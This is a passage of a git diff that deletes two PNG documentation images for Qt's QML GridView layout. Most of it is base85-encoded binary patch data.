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 diff --git a/src/qml/doc/images/gridview-layout-lefttoright-ltr-btt.png b/src/qml/doc/images/gridview-layout-lefttoright-ltr-btt.png deleted file mode 100644 index 4439f8370a3af5c77b660c00777f6c5a4d31ee0a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8722 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 S+2_ORhLMw2mijJf8vK7Kd37xS diff --git a/src/qml/doc/images/gridview-layout-lefttoright-ltr-ttb.png b/src/qml/doc/images/gridview-layout-lefttoright-ltr-ttb.png deleted file mode 100644 index af745b7d1e88ea7ebf209bee0b102c40413f4153..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7727 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 